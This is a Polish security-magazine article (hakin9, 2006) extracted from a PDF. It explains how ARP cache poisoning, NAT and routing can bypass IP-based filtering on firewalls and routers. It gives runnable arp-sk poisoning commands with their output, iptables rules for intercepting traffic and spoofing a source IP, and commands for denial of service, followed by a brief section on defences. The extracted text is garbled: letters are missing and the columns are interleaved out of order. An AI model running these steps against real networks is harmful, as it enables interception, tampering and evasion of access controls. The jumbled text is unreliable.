Jak omijać filtrację IP stosowaną przez firewalle i routery, Haking

[ Pobierz całość w formacie PDF ]
Pod lupą
Jak omijać iltrację IP
stosowaną przez irewalle
i rutery
Kristof De Beuckelaer
stopień trudności
Spooing to dobrze znane pojęcie w dziedzinie bezpieczeństwa
opisujące sytuację, w której osoba bądź program z powodzeniem
podszywa się pod inną bądź inny. Powszechną techniką jest
tutaj ref-tar spooing. Smart spooing IP opiera się na kombinacji
zatruwania cache'u ARP, translacji adresów sieciowych (NAT) i
routingu.
IP. Można do niej wykorzystać narzędzie
o nazwie
ARP-sk
, lub
na przykład
ARP-il-
lup.
Osoba znająca podstawy programowa-
nia byłaby w stanie napisać dość prosty skrypt
w Perlu automatyzujący cały proces i/lub sto-
sujący
ARP-sk
i
ARP-illup
. Spooing IP nie jest
nową techniką, dlatego istnieje wiele narzędzi
hakerskich, pozwalających ją wykorzystać.
W artykule zademonstrujemy dlaczego
kontrola dostępu według adresu IP jest w wie-
lu sytuacjach zawodna i nie powinna być stoso-
wana w sieciach korporacyjnych. Technika
IP
smart spooing
opiera się na kombinacji zatru-
wania cache'u ARP, translacji adresów siecio-
wych oraz routingu; nie są tu potrzebne żadne
bardzo skomplikowane techniki.
Zaczniemy od podstaw, będzie więc zatem
okazja by przypomnieć sobie spooing MAC
i ARP oraz zatruwanie cache'u ARP, by z cza-
sem dotrzeć do smartspooingu.
dzy autoryzowanym klientem, a irewallem. Przy-
kładowo, w większości sieci korporacyjnych tylko
nieliczne, z góry określone komputery połączone
z Internetem przez irewall mają bezpośredni do-
stęp do Internetu (wewnętrzne proxy HTTP za-
pewniające iltrację treści bądź adresów, serwery
poczty itd.). Każdy wewnętrzny użytkownik takiej
sieci za pomocą smart spooingu może ominąć
takie ograniczenia (obejść iltrację adresów bądź
treści HTTP, bezpośrednio odbierać bądź wysy-
łać e-maile przez SMTP itd.).
W ten sam sposób dowolny komputer po-
między autoryzowanym klientem, a serwerem
może nadużyć aplikacji, do której dostęp ogra-
Z artykułu dowiesz się...
• Dlaczego kontrola dostępu według adresu IP
nie jest w wielu sytuacjach ani bezpieczna, ani
niezawodna
Skutki smartspooingu
Urządzenia sieciowe takie, jak: routery, czy ire-
walle często stosują iltrację w oparciu o adres
źródłowy IP. Reguły te, mogą być ominięte przez
dowolny komputer znajdujący się w sieci pomię-
Powinieneś wiedzieć...
• Powinieneś znać podstawy spooingu ARP
• Powinieneś znać podstawy translacji adresów
sieciowych oraz routingu
2
hakin9 Nr 3/2006
www.hakin9.org
I
stnieje nowa metoda spoofowania adresu
Jak omijać filtrację IP
niczony jest do konkretnych adre-
sów IP – ma to miejsce w wielu przy-
padkach takich, jak: ACL Apache'a;
r-polecenia; NFS; TCP Wrapper; za-
strzeżone narzędzia administracyj-
ne itd. Można również w ten sposób
oszukać bazujące na adresie źródło-
wym iltry przekaźników SMTP pod-
szywając się pod adres IP bramki
SMTP A. Posiadający złe intencje
użytkownik obecny w sieci pomiędzy
A, a B może przesyłać pocztę przez
bramkę SMTP B wraz z sfałszowa-
nym adresem nadawcy pochodzą-
cym z domeny pocztowej obsługiwa-
nej przez A.
Table 1.
Ramka Ethernet
MAC adre-
sata
Rodzaj Treść Suma kon-
trolna
Ramka Ethernet
Rodzaj sprzętu Rodzaj protokołu
Dług. adr. sprz. Dług. adr. prot. Opkod
Sprzętowy adres nadawcy
Adres protokołu, źródła
Sprzętowy adres adresata
Adres protokołu, adresata
• warstwa ARP zawiera kod wia-
domości (zapytanie LUB odpo-
wiedź), a także pary (ETH, IP)
dla nadawcy i adresata.
padku, gdy tablica CAM jest statycz-
na, zostanie zamknięty port oiary
oraz ostrzeżony administrator.
Poza tym, warto zauważyć,
że przy występowaniu zbyt wie-
lu konliktów niektóre z przełączni-
ków przełączają się w tryb
fail open
(w tym przypadku następuje przesła-
nie wszystkich pakietów na wszyst-
kich portach, jak w przypadku kon-
centratorów).
Co to jest ARP?
Address Resolution Protocol
(ARP)
to protokół sieciowy wiążący adres
protokołu warstwy sieci ze sprzęto-
wym adresem warstwy łącza. Przy-
kładowo, ARP wykorzystywany jest
do tłumaczenia adresów IP na odpo-
wiadające im adresy Ethernet.
Należy zauważyć, że nigdzie nie
jest powiedziane, że musi istnieć
zgodność pomiędzy warstwą ARP,
a Ethernet. Oznacza to, że adresy
wymieniane w obu warstwach mogą
być nieskorelowane.
Jak ARP tłumaczy adres IP
na adres MAC Ethernetu?
Gdy ARP potrzebuje przetłumaczyć
dany adres IP na adres Ethernet,
wysyła na adres rozgłaszania sieci
(ang.
broadcast
) pakiety zapytania
ARP. Pakiet zapytania ARP zawie-
ra adresy MAC oraz IP źródła oraz
adres IP celu. Pakiet otrzymuje każ-
dy system w lokalnej sieci. Host po-
siadający zadany docelowy adres IP,
odsyła z powrotem pakiet odpowie-
dzi ARP, zawierający swój adres IP.
Manipulacja ARP, czyli jak
przekierowywać ruch w sieci
lokalnej
Pierwszym pomysłem przychodzą-
cym do głowy, gdy chcemy podsłu-
chiwać ruch w sieci, jest przełącze-
nie interfejsu sieciowego w tryb mie-
szany (ang.
promiscuous
). W takiej
sytuacji każdy otrzymany przez in-
terfejs pakiet zostanie przekazywa-
ny bezpośrednio z warstwy drugiej
(na ogół Ethernet) w górę (IP, ARP,
DNS) bez sprawdzania, czy ma on
właściwy adres docelowy.
Niestety takie podejście ma swo-
je ograniczenia, dlatego, że nie moż-
na w ten sposób wyjść poza prze-
łączniki.
Spooing ARP
Skoro
spooing MAC
nie jest ani zbyt
efektywny, ani wystarczająco dys-
kretny, przejdźmy jeszcze warstwę
wyżej i przyjrzyjmy sie kolejnemu
ciekawemu protokołowi ARP. Wia-
domości ARP wymieniane są po-
między hostami, gdy jeden z nich
pragnie poznać adres MAC innego.
Jeżeli na przykład Batman chce po-
znać adres MAC Robina, wysyła za-
pytanie ARP (
Who has?
Red.-ARP
pozwala uzyskać adres Ethernet ho-
sta na podstawie adresu IP. Protokół
ARP jest intensywnie wykorzystywa-
ny przez wszystkie hosty w sieciach
Ethernet.) na adres rozgłaszania sie-
ci, Robin zaś odpowiada swoim ad-
resem.
Co jednak stanie się, jeżeli Joker
odpowie przed Robinem?
Szybki przewodnik
po ARP-sk
ARP to dobrze znany protokół, któ-
ry pozwala przeprowadzić kilka zna-
nych ataków. Jednym z najpow-
szechniejszym jest podsłuchiwanie
danych (
snifing
). Narzędzie
ARP-sk
zostało zaprojektowane do manipu-
lowania tablicami ARP na bardzo
różnych urządzeniach. Można bar-
dzo łatwo to wykonać wysyłając od-
powiednie pakiety. Komunikat ARP
w sieci Ethernet/IP posiada 7 istot-
nych parametrów (patrz Tabela 1):
Spooing MAC
Atak
Spooing MAC
dotyczy proto-
kołu drugiej warstwy, na ogół Ether-
net. Jest bardzo efektywny w działa-
niu przeciwko przełącznikom, powo-
duje aktualizację ich tablic przecho-
wujących wszystkie adresy Ethernet
związane z danym portem w prze-
łączniku (w terminologii CISCO no-
szą one nazwę CAM –
Content Ad-
dressable Memory
). Wciąż jednak
nie jest to podejście doskonałe, bądź
wystarczająco efektywne. W przy-
12:50:31.198300
arp who-has
robin tell batman [1]
12:50:31.198631 arp reply robin is
-at 0:10:a4:9b:6d:81 [2]
Batman umieści adres MAC Joke-
ra w swoim cache'u ARP. Ponieważ
jednak pakiet Batmana został rozgło-
szony, Robin także odpowie:
• warstwa Ethernet zapewnia 2 ad-
resy (SRC i DST);
www.hakin9.org
hakin9 Nr 3/2006
3
MAC
nadawcy
  Pod lupą
Listing 1.
Wysyłamy zapytanie who-has
Zanim przejdziemy dalej, oto
krótka legenda:
[
root
@
joker
]
# arp-sk -w -d batman -S robin -D batman
+
Running
mode
"who-has"
+
IfName
:
eth0
+
Source
MAC
:
00
:
10
:
a4
:
9
b
:
6
d
:
81
+
Source
ARP
MAC
:
00
:
10
:
a4
:
9
b
:
6
d
:
81
+
Source
ARP
IP
:
192.168
.
1.2
(
robin
)
+
Target
MAC
:
52
:
54
:
05
:
F4
:
62
:
30
+
Target
ARP
MAC
:
00
:
00
:
00
:
00
:
00
:
00
+
Target
ARP
IP
:
192.168
.
1.1
(
batman
)

-D
– adres urządzenia iltrujące-
go, z którym się łączymy;

-S
– adres zaufanego hosta, pod
który się podszyjemy.
Teraz, jeżeli Batman zainicjuje trans-
akcję z Robinem, pakiety będą wysy-
łane do Jokera i to bez potrzeby wy-
syłania jakichkolwiek innych informa-
cji przez Batmana. Warto zauważyć,
że zapytania ARP z pojedynczym
adresatem (ang.
uni-cast
) są jak naj-
bardziej zgodne z RFC. Pozwalają
one systemowi sprawdzać stan swo-
jego cache'u.
---
Start
sending
--
To
:
52
:
54
:
05
:
F4
:
62
:
30
From
:
00
:
10
:
a4
:
9
b
:
6
d
:
81
0x0806
ARP
Who
has
192.168
.
1.1
(
00
:
00
:
00
:
00
:
00
:
00
)
?
Tell
192.168
.
1.2
(
00
:
10
:
a4
:
9
b
:
6
d
:
81
)
---
batman
(
00
:
00
:
00
:
00
:
00
:
00
)
statistic
---
To
:
52
:
54
:
05
:
F4
:
62
:
30
From
:
00
:
10
:
a4
:
9
b
:
6
d
:
81
0x0806
ARP
Who
has
192.16
.
1.1
(
00
:
00
:
00
:
00
:
00
:
00
)
?
Tell
192.168
.
1.2
(
00
:
10
:
a4
:
9
b
:
6
d
:
81
)
1
packets
tramitted
(
each
:
42
bytes
-
total
:
42
bytes
)
Aktualizacja wpisu
Sposób pokazany przy
spooingu
ARP
jest dokładnie tym, czego potrze-
bujemy! Wystarczy teraz, że wyślemy
Batmanowi odpowiedzi ARP z adresu
IP Robina, ale adresem MAC Jokera.
12:50:31.198862
arp reply robin is
-at 52:54:5:fd:de:e5 [3]
zminimalizować ruch ARP, dodaje
otrzymane w wiadomości informa-
cje do nowego wpisu cache'u ARP
(patrz Listing 1 i Listing 2).
Ważna uwaga
Jeżeli cel nie posiada już wpisu od-
powiadającego maszynie, pod którą
chce się podszyć napastnik, wysyła-
nie odpowiedzi nie ma sensu – cache
nie zaktualizuje nieistniejącego wpisu.
Listing 2.
Stan cache'u batmana
# before
[
batman
]
$
arp
-
a
alfred
(
192.168
.
1.3
)
at
00
:
90
:
27
:
6
a
:
58
:
74
Cache ARP?
ARP przechowuje relacje między
adresami IP i MAC w tablicy w pa-
mięci, zwanej cache'em ARP. Wpisy
w tej tablicy są dodawane i usuwane
w sposób dynamiczny.
# after
[
batman
]
$
arp
-
a
robin
(
192.168
.
1.2
)
at
00
:
10
:
a4
:
9
b
:
6
d
:
81
alfred
(
192.168
.
1.3
)
at
00
:
90
:
27
:
6
a
:
58
:
74
Listing 3.
Sposób aktualizacji
Zatruwanie cache'u ARP
W świetle ograniczeń wspomniane-
go powyżej ataku, najlepiej byłoby
bezpośrednio manipulować cache-
'em celu, niezależnie od wysyłanych
przezeń wiadomości ARP. W takiej
sytuacji musimy być w stanie:
[
root
@
joker
]
# arp-sk -r -d batman -S robin -D batman
+
Running
mode
"reply"
+
IfName
:
eth0
+
Source
MAC
:
00
:
10
:
a4
:
9
b
:
6
d
:
81
+
Source
ARP
MAC
:
00
:
10
:
a4
:
9
b
:
6
d
:
81
+
Source
ARP
IP
:
192.168
.
1.2
(
robin
)
+
Target
MAC
:
52
:
54
:
05
:
F4
:
62
:
30
+
Target
ARP
MAC
:
52
:
54
:
05
:
F4
:
62
:
30
+
Target
ARP
IP
:
192.168
.
1.1
(
batman
)
• dodawać nowe wpisy w cache'u
celu;
• aktualizować już istniejące wpi-
sy.
---
Start
sending
--
To
:
52
:
54
:
05
:
F4
:
62
:
30
From
:
00
:
10
:
a4
:
9
b
:
6
d
:
81
0x0806
ARP
For
192.168
.
1.1
(
52
:
54
:
05
:
F4
:
62
:
30
)
192.168
.
1.2
is
at
00
:
10
:
a4
:
9
b
:
6
d
:
81
Dodawanie nowych wpisów
Aby to osiągnąć, wyślemy zapyta-
nie (
Who has?
) do celu. Kiedy host
otrzymuje
who-has
, sądzi że ma zo-
stać nawiązane połączenie i aby
---
batman
(
52
:
54
:
05
:
F4
:
62
:
30
)
statistic
---
To
:
52
:
54
:
05
:
F4
:
62
:
30
From
:
00
:
10
:
a4
:
9
b
:
6
d
:
81
0x0806
ARP
For
192.168
.
1.1
(
52
:
54
:
05
:
F4
:
62
:
30
):
192.168
.
1.2
is
at
00
:
10
:
a4
:
9
b
:
6
d
:
81
1
packets
tramitted
(
each
:
42
bytes
-
total
:
42
bytes
)
4
hakin9 Nr 3/2006
www.hakin9.org
     Jak omijać filtrację IP
W efekcie nawet jeśli odpowiedni wpis
istnieje już w cache'u Batmana, zosta-
nie on zaktualizowany informacjami
dostarczonymi przez Jokera:
[batman]$ arp -a
robin (192.168.1.2)
at 52:54:05:fd:de:e5
alfred (192.168.1.3)
at 00:90:27:6a:58:74
A teraz, aktualizujemy go następują-
co (patrz Listing 3).
Jeżeli teraz przyjrzymy się rezul-
tatom tej operacji, powinny one wy-
glądać mniej więcej tak:
Rysunek 1.
Atak Man in the Middle
[batman]$ arp -a
robin (192.168.1.2)
at 00:10:a4:9b:6d:81
alfred (192.168.1.3)
at 00:90:27:6a:58:74
Jakie ataki są możliwe
Zakończywszy niezbędne przygoto-
wania, jesteśmy gotowi do rozpoczę-
cia manipulacji komunikacją pomię-
dzy Batmanem, a Robinem. Przyj-
rzyjmy się, jakie mamy możliwości
jeżeli chodzi o atak.
Snifing
Oczywisty, a do tego najzabawniejszy
sposób na atak
Man in the Middle
.
Rysunek 2.
Proxying
Proxying i przechwytywanie
Jesteśmy teraz w stanie przekierowy-
wać ruch, podobnie jak przezroczy-
ste proxy czynią to z obsługiwanymi
przez siebie strumieniami. Wystarczy,
że warstwa IP (bądź jakiekolwiek na-
rzędzie) przekaże dane do odpowied-
niej aplikacji – nawet jeżeli adres do-
celowy nie jest właściwy. Przykłado-
wo, Joker chce zmienić pewne para-
metry transakcji HTTP pomiędzy Bat-
manem, a Robinem:
[root@joker]# iptables
-t nat -A PREROUTING -p tcp
-s robin -d batman --dport 80
-j REDIRECT --to-ports 80
Rysunek 3.
Smartspooing
podstawowe mechanizmy sprawdza-
nia poprawności (np. CRC32, MD5 al-
bo SHA-1), Joker może przeliczać su-
my kontrolne przed wysłaniem zmo-
dyikowanych danych! Jedynym ogra-
niczeniem są tu możliwości narzędzia,
za pomocą którego przetwarzamy
przechwycone dane.
Przykładowo, Joker posiada na
swoim serwerze HTTP nieco zmo-
dyikowany fragment zdalnego ser-
wisu WWW. Zapytania do niezmo-
Joker musi jedynie uruchomić pro-
xy HTTP na swoim porcie 80 i mo-
że zmieniać wszystkie przesyłane da-
ne. Co więcej, jeżeli aktywne są jakieś
www.hakin9.org
hakin9 Nr 3/2006
5
  Pod lupą
dyikowanej części przekazywane
są do prawdziwego serwisu. Rysu-
nek 2 pokazuje, co dzieje się, jeżeli
uprzednio wykonano:
[root@joker]# arp-sk
-r -d batcave-gw -S
robin -D batcave-gw
O autorze
Artykuł ten napisał Kristof De Beucke-
laer, student zamieszkały w Belgii. Je-
go zainteresowanie bezpieczeństwem
wzrasta od pierwszego dnia jego eks-
perymentów z i czytania o Linuksie,
sposobach eksploatowania luk, łata-
nia dziur w bezpieczeństwie, sieciach
i tak dalej. Od około 4-5 lat aktywnie
uczestniczy w wielu grupach użytkow-
ników, od programistycznych po użyt-
kowników, od Windows po Linuksa.
Pierwszy raz zetknął się z Linuksem
poprzez sesję terminala i od tamtej
pory nie może się odeń oderwać; tro-
chę później zbudował na własny uży-
tek swój pierwszy samodzielnie wyko-
nany, oparty na Linuksie system ope-
racyjny. Obecnie wciąż studiuje, chcąc
zmienić swoje największe hobby w
pracę jako inżyniera bezpieczeństwa/
oprogramowania/sieci.
[root@joker]# arp-sk
-r -d robin -S batcave-gw -D robin
[root@joker]# arp-sk
-r -d batcave-gw -S robin -D batcave-gw
[root@joker]# arp-sk
-r -d batman -S batcave-gw -D batman
[root@joker]# arp-sk
-r -d batcave-gw -S batman
-D batcave-gw
[...]
Wykorzystanie Linuksa do ataku te-
go rodzaju bardzo ułatwia życie, po-
nieważ funkcje NAT
Netiltera
auto-
matycznie podzielą pakiety należące
do naszych połączeń i te, które nie:
[root@joker]# iptables
-t nat -A POSTROUTING
-j SNAT --to 192.168.1.2
Blokada usługi
Bardzo łatwo uzyskać blokadę usłu-
gi, gdy manipulujemy komunikatami
ARP. Wystarczy usuwać przekiero-
wywane pakiety:
Przy bieżącej koniguracji Joker wy-
syłałby pakiety ICMP Redirect do za-
trutych stacji. Aby tego uniknąć, mu-
simy je zablokować; pod Linuksem
można do zrobić za pomocą odpo-
wiedniego sysctl IP:
[root@joker]# iptables
-A FORWARD
-s robin -d batman -j DROP
[root@joker]# echo 0
> /proc/sys/net/ipv4/conf/
all/send_redirects
Jeżeli wolisz nie przekierowywać ru-
chu przez swój komputer, możesz
także stworzyć czarną dziurę ARP
przez przekierowanie pakietów na
nieużywane adresy MAC.
wania spójności tablicy ARP. Pro-
gram
arpwatch
, dostępny pod wielo-
ma wariantami Unixa, utrzymuje ba-
zę ethernetowych adresów MAC wi-
dzianych w sieci wraz ze skojarzo-
nymi z nimi adresami IP i ostrze-
ga administratora pocztą, gdy ma-
ją miejsce jakieś zmiany – np. no-
wy system, zamiany par, zmienia-
ne bądź ponownie wykorzystywane
stare adresy.
Wreszcie, niezawodny system
kontroli dostępu powinien wykorzy-
stywać silne uwierzytelnianie, nie
kontrolę źródłowego adresu IP bądź
przesyłanie hasła otwartym tekstem.
Protokoły VPN takie jak SSH, SSL
czy IPSec potraią znacznie pod-
nieść poziom bezpieczeństwa po-
przez zapewnienie uwierzytelniania
oraz spójności i poufności danych.
Jak widać istnieje zatem wie-
le sposobów, które pozwalają le-
piej ochronić się przed tego rodza-
ju atakami: znalezienie sposobu na
detekcję duplikatów adresów MAC
na przełączniku (np. z pomocą AR-
Pwatch) i/lub uruchomienie
sticky
ARP. Uniemożliwi to komputerom
w sieci zmiany ich adresów MAC;
oczywiście negatywnym tego skut-
kiem jest potencjalnie większe ob-
ciążenie administratora.
l
Omijanie irewalla
(smartspooing)
Korzystając z zatruwania cache'u
ARP napastnik włącza swój komputer
w ścieżkę komunikacyjną między ser-
werem, a klientem. Dzięki forwardo-
waniu IP istniejący ruch traia do klien-
ta. Rzecz jasna na komputerze na-
pastnika wyłączone zostały przekiero-
wania ICMP. Wreszcie, napastnik wy-
korzystuje translację źródłowego ad-
resu sieciowego by podszyć się pod
adres IP klienta i utworzyć nowe po-
łączenie z serwerem; potem może on
uruchamiać dowolne aplikacje siecio-
we, by łączyć się z serwerem korzy-
stając z adresu IP klienta IP. Oszuka-
ne zostaną wszelkie systemy kontroli
dostępu oparte na sprawdzaniu adre-
su IP klienta. Ponadto istniejący ruch
w sieci nie jest zakłócony i z punktu wi-
dzenia serwera atak smart spooing
jest nie do wykrycia.
Udając host w sieci i przechwytu-
jąc pewne połączenie, możemy omi-
nąć irewall poprzez reguły dotyczą-
ce systemu, który udajemy. Do osią-
gnięcia tego nie jest potrzebne, po-
trzebne wcześniej, podwójne prze-
kierowanie (ARP MiM):
[root@joker]# arp-sk
-r -d robin -S batman
--rand-arp-hwa-src -D robin
Teraz Robin sądzić będzie, że Bat-
man nie żyje.
Podsumowanie
Wskutek związanych z bezpieczeń-
stwem problemów z protokołem
ARP i w efekcie możliwości ataku
smart spooing
, istnieje wiele moż-
liwości oszukania systemów kontro-
li dostępu opartych na adresie źró-
dłowym IP.
Większość sieciowych IDS słu-
chających na wszystkich portach
przełącznika wykryje duplikat ad-
resu IP przy wysyłaniu fałszywych
pakietów ARP, jednak nie zabloku-
je ataku jako takiego; ponadto zasto-
sowanie tego podejścia wymagałoby
wdrożenia dużej liczby NIDS w wie-
lu sieciach.
Inną metodą obrony byłoby za-
stosowanie Host-Based IDS do de-
tekcji komunikatów ARP i utrzymy-
6
hakin9 Nr 3/2006
www.hakin9.org
      [ Pobierz całość w formacie PDF ]

  • zanotowane.pl
  • doc.pisz.pl
  • pdf.pisz.pl
  • swpc.opx.pl